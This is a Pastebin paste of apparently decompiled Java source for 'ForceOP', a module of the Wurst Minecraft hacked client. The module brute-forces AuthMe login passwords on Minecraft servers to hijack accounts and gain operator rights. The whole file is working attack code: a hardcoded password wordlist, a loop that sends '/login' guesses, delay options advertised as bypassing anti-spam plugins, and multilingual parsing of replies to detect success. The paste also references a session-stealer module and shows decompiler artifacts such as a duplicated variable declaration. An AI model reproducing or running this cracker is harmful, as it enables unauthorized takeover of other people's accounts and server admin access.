Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package tk.wurst_client.mods;
- import java.awt.Desktop;
- import java.awt.Dimension;
- import java.awt.Font;
- import java.awt.Toolkit;
- import java.awt.event.ActionEvent;
- import java.awt.event.ActionListener;
- import java.awt.event.WindowAdapter;
- import java.awt.event.WindowEvent;
- import java.io.BufferedReader;
- import java.io.File;
- import java.io.FileReader;
- import java.io.IOException;
- import java.net.URI;
- import java.util.ArrayList;
- import java.util.concurrent.TimeUnit;
- import javax.swing.ButtonGroup;
- import javax.swing.JButton;
- import javax.swing.JCheckBox;
- import javax.swing.JDialog;
- import javax.swing.JFileChooser;
- import javax.swing.JLabel;
- import javax.swing.JOptionPane;
- import javax.swing.JRadioButton;
- import javax.swing.JSeparator;
- import javax.swing.JSpinner;
- import javax.swing.SpinnerNumberModel;
- import javax.swing.event.ChangeEvent;
- import javax.swing.event.ChangeListener;
- import javax.swing.filechooser.FileNameExtensionFilter;
- import net.minecraft.client.Minecraft;
- import net.minecraft.client.entity.EntityPlayerSP;
- import net.minecraft.util.IChatComponent;
- import net.minecraft.util.Session;
- import tk.wurst_client.WurstClient;
- import tk.wurst_client.chat.ChatManager;
- import tk.wurst_client.events.ChatInputEvent;
- import tk.wurst_client.events.EventManager;
- import tk.wurst_client.events.listeners.ChatInputListener;
- import tk.wurst_client.files.FileManager;
- import tk.wurst_client.navigator.NavigatorItem;
- import tk.wurst_client.options.OptionsManager;
- import tk.wurst_client.special.SpfManager;
- @Mod.Info(category=Mod.Category.CHAT, description="Cracks AuthMe passwords. Can be used to get OP.\nIf you want to know how to use this, press the\n\"How to use\" button. That will open an online\ntutorial explaining exactly how to use it.\nDon't message me on this!", name="ForceOP", tags="Force OP,AuthMe Cracker,AuthMeCracker,auth me cracker,admin hack,AuthMe password cracker", tutorial="Mods/Force_OP_(AuthMeCracker)")
- public class ForceOpMod
- extends Mod
- implements ChatInputListener
- {
- private JLabel lAttempts;
- private int lastPW;
- private boolean gotWrongPWMSG;
- private JButton bStart;
- private JLabel lTime;
- private JLabel lPasswords;
- private JLabel lName;
- private JSeparator sepSpeedStart;
- private JCheckBox cbDontWait;
- private JLabel lDelay2;
- private JSpinner spDelay;
- private JLabel lDelay1;
- private JLabel lSpeed;
- private JSeparator sepListSpeed;
- private JButton bHowTo;
- private JButton bTXTList;
- private JRadioButton rbTXTList;
- private JRadioButton rbDefaultList;
- private JLabel lPWList;
- private JDialog dialog;
- private String[] passwords = new String[0];
- private String[] defaultList = { "password", "passwort", "password1", "passwort1", "password123", "passwort123", "pass", "pw", "pw1", "pw123", "hallo", "Wurst", "wurst", "1234", "12345", "123456", "1234567", "12345678", "123456789", "login", "register", "test", "sicher", "me", "penis", "penis1", "penis123", "minecraft", "minecraft1", "minecraft123", "mc", "admin", "server", "yourmom", "tester", "account", "creeper", "gronkh", "lol", "auth", "authme", "qwerty", "qwertz", "ficken", "ficken1", "ficken123", "fuck", "fuckme", "fuckyou" };
- public NavigatorItem[] getSeeAlso()
- {
- return new NavigatorItem[] { wurst.mods.opSignMod,
- wurst.special.bookHackSpf, wurst.special.sessionStealerSpf };
- }
- public void onEnable()
- {
- new Thread()
- {
- public void run()
- {
- ForceOpMod.this.lastPW = -1;
- ForceOpMod.wurst.files.loadOptions();
- ForceOpMod.this.dialog =
- new JDialog(null, ForceOpMod.this.getName(), false);
- ForceOpMod.this.dialog.setAlwaysOnTop(true);
- Dimension screen = Toolkit.getDefaultToolkit().getScreenSize();
- ForceOpMod.this.dialog.setSize(512, 248);
- ForceOpMod.this.dialog.setResizable(false);
- ForceOpMod.this.dialog.setLocation((screen.width - ForceOpMod.this.dialog.getWidth()) / 2,
- (screen.height - ForceOpMod.this.dialog.getHeight()) / 2);
- ForceOpMod.this.dialog.setLayout(null);
- ForceOpMod.this.dialog
- .setDefaultCloseOperation(2);
- ForceOpMod.this.dialog.addWindowListener(new WindowAdapter()
- {
- public void windowClosing(WindowEvent e)
- {
- ForceOpMod.wurst.mods.forceOpMod.setEnabled(false);
- }
- });
- ForceOpMod.this.lPWList = new JLabel("Password list");
- ForceOpMod.this.lPWList.setLocation(4, 4);
- ForceOpMod.this.lPWList.setSize(ForceOpMod.this.lPWList.getPreferredSize());
- ForceOpMod.this.dialog.add(ForceOpMod.this.lPWList);
- ForceOpMod.this.rbDefaultList =
- new JRadioButton("default",
- ForceOpMod.wurst.options.forceOPList.equals(ForceOpMod.wurst.files.wurstDir
- .getPath()));
- ForceOpMod.this.rbDefaultList.setLocation(4, 24);
- ForceOpMod.this.rbDefaultList.setSize(ForceOpMod.this.rbDefaultList.getPreferredSize());
- ForceOpMod.this.dialog.add(ForceOpMod.this.rbDefaultList);
- ForceOpMod.this.rbTXTList =
- new JRadioButton("TXT file", !ForceOpMod.this.rbDefaultList.isSelected());
- ForceOpMod.this.rbTXTList.setLocation(
- ForceOpMod.this.rbDefaultList.getX() + ForceOpMod.this.rbDefaultList.getWidth() + 4, 24);
- ForceOpMod.this.rbTXTList.setSize(ForceOpMod.this.rbTXTList.getPreferredSize());
- ForceOpMod.this.rbTXTList.addChangeListener(new ChangeListener()
- {
- public void stateChanged(ChangeEvent e)
- {
- ForceOpMod.this.bTXTList.setEnabled(ForceOpMod.this.rbTXTList.isSelected());
- if (!ForceOpMod.this.rbTXTList.isSelected())
- {
- ForceOpMod.wurst.options.forceOPList =
- ForceOpMod.wurst.files.wurstDir.getPath();
- ForceOpMod.wurst.files.saveOptions();
- }
- ForceOpMod.this.loadPWList();
- ForceOpMod.this.update();
- }
- });
- ForceOpMod.this.dialog.add(ForceOpMod.this.rbTXTList);
- ButtonGroup bgList = new ButtonGroup();
- bgList.add(ForceOpMod.this.rbDefaultList);
- bgList.add(ForceOpMod.this.rbTXTList);
- ForceOpMod.this.bTXTList = new JButton("browse");
- ForceOpMod.this.bTXTList.setLocation(ForceOpMod.this.rbTXTList.getX() + ForceOpMod.this.rbTXTList.getWidth() +
- 4, 24);
- ForceOpMod.this.bTXTList.setSize(ForceOpMod.this.bTXTList.getPreferredSize());
- ForceOpMod.this.bTXTList.setEnabled(ForceOpMod.this.rbTXTList.isSelected());
- ForceOpMod.this.bTXTList.addActionListener(new ActionListener()
- {
- public void actionPerformed(ActionEvent e)
- {
- JFileChooser fsTXTList = new JFileChooser();
- fsTXTList.setAcceptAllFileFilterUsed(false);
- fsTXTList
- .addChoosableFileFilter(new FileNameExtensionFilter(
- "TXT files", new String[] { "txt" }));
- fsTXTList.setFileSelectionMode(0);
- fsTXTList.setCurrentDirectory(new File(
- ForceOpMod.wurst.options.forceOPList));
- int action = fsTXTList.showOpenDialog(ForceOpMod.this.dialog);
- if (action == 0) {
- if (!fsTXTList.getSelectedFile().exists())
- {
- JOptionPane.showMessageDialog(ForceOpMod.this.dialog,
- "File does not exist!", "Error",
- 0);
- }
- else
- {
- ForceOpMod.wurst.options.forceOPList =
- fsTXTList.getSelectedFile().getPath();
- ForceOpMod.wurst.files.saveOptions();
- }
- }
- ForceOpMod.this.loadPWList();
- ForceOpMod.this.update();
- }
- });
- ForceOpMod.this.dialog.add(ForceOpMod.this.bTXTList);
- ForceOpMod.this.bHowTo = new JButton("How to use");
- ForceOpMod.this.bHowTo.setFont(new Font(ForceOpMod.this.bHowTo.getFont().getName(), 1,
- 16));
- ForceOpMod.this.bHowTo.setSize(ForceOpMod.this.bHowTo.getPreferredSize());
- ForceOpMod.this.bHowTo.setLocation(506 - ForceOpMod.this.bHowTo.getWidth() - 32, 12);
- ForceOpMod.this.bHowTo.addActionListener(new ActionListener()
- {
- public void actionPerformed(ActionEvent e)
- {
- try
- {
- String howToLink =
- "http://www.wurst-client.tk/tutorials/forceop";
- Desktop.getDesktop().browse(new URI(howToLink));
- }
- catch (Throwable var5)
- {
- var5.printStackTrace();
- }
- }
- });
- ForceOpMod.this.dialog.add(ForceOpMod.this.bHowTo);
- ForceOpMod.this.sepListSpeed = new JSeparator();
- ForceOpMod.this.sepListSpeed.setLocation(4, 56);
- ForceOpMod.this.sepListSpeed.setSize(498, 4);
- ForceOpMod.this.dialog.add(ForceOpMod.this.sepListSpeed);
- ForceOpMod.this.lSpeed = new JLabel("Speed");
- ForceOpMod.this.lSpeed.setLocation(4, 64);
- ForceOpMod.this.lSpeed.setSize(ForceOpMod.this.lSpeed.getPreferredSize());
- ForceOpMod.this.dialog.add(ForceOpMod.this.lSpeed);
- ForceOpMod.this.lDelay1 = new JLabel("Delay between attempts:");
- ForceOpMod.this.lDelay1.setLocation(4, 84);
- ForceOpMod.this.lDelay1.setSize(ForceOpMod.this.lDelay1.getPreferredSize());
- ForceOpMod.this.dialog.add(ForceOpMod.this.lDelay1);
- ForceOpMod.this.spDelay = new JSpinner();
- ForceOpMod.this.spDelay
- .setToolTipText("<html>50ms: fastest, doesn't bypass AntiSpam plugins<br>1.000ms: recommended, bypasses most AntiSpam plugins<br>10.000ms: slowest, bypasses all AntiSpam plugins</html>");
- ForceOpMod.this.spDelay.setModel(new SpinnerNumberModel(
- ForceOpMod.wurst.options.forceOPDelay, 50, 10000, 50));
- ForceOpMod.this.spDelay
- .setLocation(ForceOpMod.this.lDelay1.getX() + ForceOpMod.this.lDelay1.getWidth() + 4, 84);
- ForceOpMod.this.spDelay
- .setSize(60, (int)ForceOpMod.this.spDelay.getPreferredSize().getHeight());
- ForceOpMod.this.spDelay.addChangeListener(new ChangeListener()
- {
- public void stateChanged(ChangeEvent e)
- {
- ForceOpMod.wurst.options.forceOPDelay =
- ((Integer)ForceOpMod.this.spDelay.getValue()).intValue();
- ForceOpMod.wurst.files.saveOptions();
- ForceOpMod.this.update();
- }
- });
- ForceOpMod.this.dialog.add(ForceOpMod.this.spDelay);
- ForceOpMod.this.lDelay2 = new JLabel("ms");
- ForceOpMod.this.lDelay2
- .setLocation(ForceOpMod.this.spDelay.getX() + ForceOpMod.this.spDelay.getWidth() + 4, 84);
- ForceOpMod.this.lDelay2.setSize(ForceOpMod.this.lDelay2.getPreferredSize());
- ForceOpMod.this.dialog.add(ForceOpMod.this.lDelay2);
- ForceOpMod.this.cbDontWait =
- new JCheckBox(
- "<html>Don't wait for \"<span style=\"color: rgb(192, 0, 0);\"><b>Wrong password!</b></span>\" messages</html>",
- ForceOpMod.wurst.options.forceOPDontWait);
- ForceOpMod.this.cbDontWait
- .setToolTipText("Increases the speed but can cause inaccuracy.");
- ForceOpMod.this.cbDontWait.setLocation(4, 104);
- ForceOpMod.this.cbDontWait.setSize(ForceOpMod.this.cbDontWait.getPreferredSize());
- ForceOpMod.this.cbDontWait.addActionListener(new ActionListener()
- {
- public void actionPerformed(ActionEvent e)
- {
- ForceOpMod.wurst.options.forceOPDontWait = ForceOpMod.this.cbDontWait.isSelected();
- ForceOpMod.wurst.files.saveOptions();
- ForceOpMod.this.update();
- }
- });
- ForceOpMod.this.dialog.add(ForceOpMod.this.cbDontWait);
- ForceOpMod.this.sepSpeedStart = new JSeparator();
- ForceOpMod.this.sepSpeedStart.setLocation(4, 132);
- ForceOpMod.this.sepSpeedStart.setSize(498, 4);
- ForceOpMod.this.dialog.add(ForceOpMod.this.sepSpeedStart);
- ForceOpMod.this.lName = new JLabel("Username: " + ForceOpMod.mc.session.getUsername());
- ForceOpMod.this.lName.setLocation(4, 140);
- ForceOpMod.this.lName.setSize(ForceOpMod.this.lName.getPreferredSize());
- ForceOpMod.this.dialog.add(ForceOpMod.this.lName);
- ForceOpMod.this.lPasswords = new JLabel("Passwords: error");
- ForceOpMod.this.lPasswords.setLocation(4, 160);
- ForceOpMod.this.lPasswords.setSize(ForceOpMod.this.lPasswords.getPreferredSize());
- ForceOpMod.this.dialog.add(ForceOpMod.this.lPasswords);
- ForceOpMod.this.lTime = new JLabel("Estimated time: error");
- ForceOpMod.this.lTime.setLocation(4, 180);
- ForceOpMod.this.lTime.setSize(ForceOpMod.this.lTime.getPreferredSize());
- ForceOpMod.this.dialog.add(ForceOpMod.this.lTime);
- ForceOpMod.this.lAttempts = new JLabel("Attempts: error");
- ForceOpMod.this.lAttempts.setLocation(4, 200);
- ForceOpMod.this.lAttempts.setSize(ForceOpMod.this.lAttempts.getPreferredSize());
- ForceOpMod.this.dialog.add(ForceOpMod.this.lAttempts);
- ForceOpMod.this.bStart = new JButton("Start");
- ForceOpMod.this.bStart.setFont(new Font(ForceOpMod.this.bHowTo.getFont().getName(), 1,
- 18));
- ForceOpMod.this.bStart.setLocation(302, 144);
- ForceOpMod.this.bStart.setSize(192, 66);
- ForceOpMod.this.bStart.addActionListener(new ActionListener()
- {
- public void actionPerformed(ActionEvent e)
- {
- ForceOpMod.this.lPWList.setEnabled(false);
- ForceOpMod.this.rbDefaultList.setEnabled(false);
- ForceOpMod.this.rbTXTList.setEnabled(false);
- ForceOpMod.this.bTXTList.setEnabled(false);
- ForceOpMod.this.bHowTo.setEnabled(false);
- ForceOpMod.this.sepListSpeed.setEnabled(false);
- ForceOpMod.this.lSpeed.setEnabled(false);
- ForceOpMod.this.lDelay1.setEnabled(false);
- ForceOpMod.this.spDelay.setEnabled(false);
- ForceOpMod.this.lDelay2.setEnabled(false);
- ForceOpMod.this.cbDontWait.setEnabled(false);
- ForceOpMod.this.sepSpeedStart.setEnabled(false);
- ForceOpMod.this.lName.setEnabled(false);
- ForceOpMod.this.lPasswords.setEnabled(false);
- ForceOpMod.this.bStart.setEnabled(false);
- new Thread(new Runnable()
- {
- public void run()
- {
- ForceOpMod.mc.thePlayer.sendChatMessage("/login " +
- ForceOpMod.mc.session.getUsername());
- ForceOpMod.this.lastPW = 0;
- ForceOpMod.this.loadPWList();
- ForceOpMod.this.update();
- for (int i = 0; i < ForceOpMod.this.passwords.length; i++)
- {
- if (!ForceOpMod.wurst.mods.forceOpMod.isActive()) {
- return;
- }
- if (!ForceOpMod.this.cbDontWait.isSelected()) {
- ForceOpMod.this.gotWrongPWMSG = false;
- }
- while (((!ForceOpMod.this.cbDontWait.isSelected()) &&
- (!ForceOpMod.this.hasGotWrongPWMSG())) ||
- (ForceOpMod.mc.thePlayer == null))
- {
- if (!ForceOpMod.wurst.mods.forceOpMod.isActive()) {
- return;
- }
- try
- {
- Thread.sleep(50L);
- }
- catch (InterruptedException e)
- {
- e.printStackTrace();
- }
- if (ForceOpMod.mc.thePlayer == null) {
- ForceOpMod.this.gotWrongPWMSG = true;
- }
- }
- try
- {
- Thread.sleep(ForceOpMod.wurst.options.forceOPDelay);
- }
- catch (InterruptedException e)
- {
- e.printStackTrace();
- }
- boolean sent = false;
- while (!sent) {
- try
- {
- ForceOpMod.mc.thePlayer.sendChatMessage("/login " +
- ForceOpMod.this.passwords[i]);
- sent = true;
- }
- catch (Exception e)
- {
- try
- {
- Thread.sleep(50L);
- }
- catch (InterruptedException e1)
- {
- e1.printStackTrace();
- }
- }
- }
- ForceOpMod.this.lastPW = (i + 1);
- ForceOpMod.this.update();
- }
- ForceOpMod.wurst.chat.failure("Tried " + (ForceOpMod.this.lastPW + 1) +
- " passwords. Giving up.");
- }
- }, "AuthMeCracker").start();
- }
- });
- ForceOpMod.this.dialog.add(ForceOpMod.this.bStart);
- ForceOpMod.this.loadPWList();
- ForceOpMod.this.update();
- ForceOpMod.mc.setIngameNotInFocus();
- ForceOpMod.this.dialog.setVisible(true);
- ForceOpMod.this.dialog.toFront();
- }
- }.start();
- wurst.events.add(ChatInputListener.class, this);
- }
- private void loadPWList()
- {
- if (this.rbTXTList.isSelected()) {
- if (!wurst.options.forceOPList.equals(wurst.files.wurstDir.getPath())) {
- try
- {
- File pwList = new File(wurst.options.forceOPList);
- BufferedReader load =
- new BufferedReader(new FileReader(pwList));
- ArrayList<String> loadedPWs = new ArrayList();
- for (String line = ""; (line = load.readLine()) != null;) {
- loadedPWs.add(line);
- }
- load.close();
- this.passwords = ((String[])loadedPWs.toArray(new String[loadedPWs.size()]));
- }
- catch (IOException e)
- {
- e.printStackTrace();
- JOptionPane.showMessageDialog(this.dialog,
- "Error: " + e.getMessage(), "Error",
- 0);
- return;
- }
- }
- }
- this.passwords = this.defaultList;
- this.lPasswords.setText("Passwords: " + (this.passwords.length + 1));
- this.lPasswords.setSize(this.lPasswords.getPreferredSize());
- }
- private void update()
- {
- long timeMS =
- (this.passwords.length + 1 - this.lastPW) * ((Integer)this.spDelay.getValue()).intValue();
- timeMS += (int)(timeMS / 30000L * 5000L);
- if (!this.cbDontWait.isSelected()) {
- timeMS += timeMS / ((Integer)this.spDelay.getValue()).intValue() * 50L;
- }
- String timeString =
- TimeUnit.MILLISECONDS.toDays(timeMS) +
- "d " + (
- TimeUnit.MILLISECONDS.toHours(timeMS) - TimeUnit.DAYS
- .toHours(TimeUnit.MILLISECONDS.toDays(timeMS))) +
- "h " + (
- TimeUnit.MILLISECONDS.toMinutes(timeMS) - TimeUnit.HOURS
- .toMinutes(TimeUnit.MILLISECONDS.toHours(timeMS))) +
- "m " + (
- TimeUnit.MILLISECONDS.toSeconds(timeMS) - TimeUnit.MINUTES
- .toSeconds(TimeUnit.MILLISECONDS.toMinutes(timeMS))) + "s";
- this.lTime.setText("Estimated time: " + timeString);
- this.lTime.setSize(this.lTime.getPreferredSize());
- this.lAttempts.setText("Attempts: " + (this.lastPW + 1) + "/" + (
- this.passwords.length + 1));
- this.lAttempts.setSize(this.lAttempts.getPreferredSize());
- }
- public void onReceivedMessage(ChatInputEvent event)
- {
- String message = event.getComponent().getUnformattedText();
- if (message.startsWith("�c[�6Wurst�c]�f ")) {
- return;
- }
- if ((message.toLowerCase().contains("wrong")) ||
- (message.toLowerCase().contains("falsch")) ||
- (message.toLowerCase().contains("incorrect")) ||
- (message.toLowerCase().contains("mauvais")) ||
- (message.toLowerCase().contains("mal")) ||
- (message.toLowerCase().contains("sbagliato")))
- {
- this.gotWrongPWMSG = true;
- }
- else if ((message.toLowerCase().contains("success")) ||
- (message.toLowerCase().contains("erfolg")) ||
- (message.toLowerCase().contains("succ?s")) ||
- (message.toLowerCase().contains("�xito")))
- {
- if (this.lastPW == -1) {
- return;
- }
- String password;
- String password;
- if (this.lastPW == 0) {
- password = mc.session.getUsername();
- } else {
- password = this.passwords[(this.lastPW - 1)];
- }
- wurst.chat.success("The password \"" + password + "\" worked.");
- setEnabled(false);
- }
- else if ((message.toLowerCase().contains("/help")) ||
- (message.toLowerCase().contains("permission")))
- {
- wurst.chat.warning("It looks like this server doesn't have AuthMe.");
- }
- else if ((message.toLowerCase().contains("logged in")) ||
- (message.toLowerCase().contains("eingeloggt")) ||
- (message.toLowerCase().contains("eingelogt")))
- {
- wurst.chat.warning("It looks like you are already logged in.");
- }
- }
- private boolean hasGotWrongPWMSG()
- {
- return this.gotWrongPWMSG;
- }
- public void onDisable()
- {
- wurst.events.remove(ChatInputListener.class, this);
- new Thread()
- {
- public void run()
- {
- if (ForceOpMod.this.dialog != null) {
- ForceOpMod.this.dialog.dispose();
- }
- }
- }.start();
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement